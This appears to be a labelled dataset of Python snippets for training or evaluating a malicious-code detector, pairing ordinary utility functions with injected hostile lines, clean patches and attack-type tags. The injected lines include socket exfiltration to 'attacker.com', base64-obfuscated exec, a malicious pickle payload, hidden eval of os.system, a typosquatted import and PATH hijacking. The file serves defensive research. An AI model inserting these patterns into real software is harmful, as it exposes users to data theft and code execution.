{ + "id": "tp_607af833", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "patch": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "tp_8354fddf", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "patch": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "tp_9b4cacc6", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "patch": "def is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "tp_e064ffa3", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\nclass Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": "class Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "tp_05a61a11", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": "def read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "tp_bc7cbfc5", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "patch": "def word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "fp_e6dcb9f6", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": null, + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_56557c21", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": "def factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "fn_9c82f8ee", + "type": "functional", + "code_snippet": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "patch": null, + "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_07a2c648", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_efdc0859", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "fp_441ade70", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_5375a2ed", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "tp_5acce741", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "patch": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "fn_1156f316", + "type": "functional", + "code_snippet": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_37703b7f", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "patch": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "tp_510803e5", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "fn_2580554f", + "type": "functional", + "code_snippet": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_da7cf16e", + "type": "functional", + "code_snippet": "class Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_43e92ed9", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\nclass Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node\n", + "patch": "class Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "fp_83f4fc88", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "patch": null, + "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_4f7b6356", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "fn_3151f3da", + "type": "functional", + "code_snippet": "def is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_6a53c768", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": null, + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_5f7210bd", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\nclass Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node\n", + "patch": "class Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "fp_c1b7e72b", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_e4f1c439", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "patch": null, + "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_db54dffa", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_4a418c97", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "tp_ee96e452", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "tp_d60d997c", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": "def gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "tp_fd2fb821", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": "def factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "tp_b2a95edc", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "patch": "def caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "tp_3ffc0ce0", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": "def read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "tp_fa2e3022", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "patch": "def basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "tp_d56160a4", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": "def is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "fn_4f19b74c", + "type": "functional", + "code_snippet": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_6dbfdf51", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": "def factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "tp_4e66ddc7", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "patch": "def bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "fn_70e4c572", + "type": "functional", + "code_snippet": "def generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_d22e4a6b", + "type": "functional", + "code_snippet": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_2daba4cd", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\nclass Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node\n", + "patch": "class Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "tp_a13a1cba", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "tp_f1ec8cfa", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": "def read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "fp_3c8f3bb0", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "label": "benign", + "source": "mutation_engine", 